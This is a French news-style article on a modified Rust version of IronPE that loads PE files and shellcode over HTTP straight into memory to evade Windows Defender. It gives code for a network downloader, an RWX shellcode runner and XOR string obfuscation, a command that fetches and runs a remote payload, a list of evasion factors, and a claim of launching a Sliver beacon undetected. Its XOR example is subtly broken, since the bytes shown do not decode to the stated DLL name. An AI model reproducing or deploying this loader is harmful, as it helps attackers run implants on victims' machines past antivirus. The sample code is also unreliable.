Retour à l'accueil

IronPE : Contournement de Defender via chargement PE HTTP

IronPE modifié en Rust charge des fichiers PE et shellcode via HTTP en mémoire, contournant la détection statique de Windows Defender. Utilise des imports dynamiques, obfuscation XOR et API légitimes. Testé sur Windows 11 avec Sliver beacon.

Modification d'IronPE : PE en mémoire sans Defender
Advertisement 728x90

Modification d'IronPE pour le chargement en mémoire de fichiers PE afin de contourner Defender

Une version modifiée d'IronPE permet de charger des fichiers PE (EXE ou DLL) via HTTP/HTTPS directement en mémoire, sans écriture sur disque. Cela contourne l'analyse statique de Windows Defender en ne laissant aucune trace sur le système de fichiers. L'implémentation en Rust utilise le mappage manuel avec résolution dynamique des imports et l'obfuscation des chaînes.

IronPE était initialement conçu pour démontrer les mécanismes de chargement de PE sans API standard comme CreateProcess ou LoadLibrary. Cette modification ajoute le chargement de charge utile par réseau et le support de shellcode tout en conservant des appels WinAPI légitimes.

Modifications clés du code

Chargement HTTP avec reqwest

Pour récupérer le fichier PE depuis le réseau, un client reqwest bloquant est intégré, avec un User-Agent imitant un navigateur et un délai d'attente de 120 secondes.

Google AdInline article slot
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

Exécution : ./ironpe --x64 http://server/payload.exe. Les octets sont chargés en mémoire sans sauvegarde sur disque.

Support du shellcode

Le mode --shellcode alloue de la mémoire RWX via VirtualAlloc et y copie les octets pour une exécution directe. Adapté aux stagers comme Sliver.

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

Résolution dynamique des imports

L'IAT est minimisée : toutes les fonctions (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) sont résolues à l'exécution. Il n'y a pas de références statiques à l'injection ou à l'accès LSASS, réduisant la détection.

Google AdInline article slot

Obfuscation des chaînes

Les noms de DLL et de fonctions sont stockés sous forme d'octets chiffrés par XOR. Le déchiffrement n'a lieu qu'à l'exécution.

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

Mécanismes de contournement de l'analyse statique

Cette technique fonctionne sur Windows 11 25H2 avec Defender actif (temps réel, cloud). Facteurs clés :

  • Pas de disque : La charge utile (~30 Mo de beacon Sliver) n'est pas sauvegardée.
  • APIs légitimes : VirtualAlloc, LoadLibrary, etc. — standard pour les installateurs.
  • IAT vide : Les dynamiques masquent les appels suspects.
  • Rust : Rare dans les malwares, moins de règles YARA.
  • Étape réseau : La charge utile est inconnue du scanner statique.

Avantages et limites

| Aspect | IronPE original | Modification |

Google AdInline article slot

|--------|-----------------|-------------|

| Chargement | Fichier local | HTTP/HTTPS |

| Shellcode | Non | Oui, RWX |

| IAT | Partiellement dynamique | Totalement dynamique |

| Chaînes | Texte clair | Obfuscation XOR |

| Détection Defender | Possible | Contournement statique |

Lors de tests sur un VPS avec un serveur Python (port 8081), une session Sliver a démarré sans notifications de Defender.

Points clés :

  • Mappage manuel + HTTP élimine les signatures de fichiers.
  • Les imports dynamiques minimisent l'empreinte statique.
  • Rust réduit le risque de signature mais pas comportemental.
  • Nécessite des améliorations pour les EDR avec surveillance AMSI/ETW.
  • Réservé à la recherche en sécurité uniquement.

— Editorial Team

Advertisement 728x90

Lire ensuite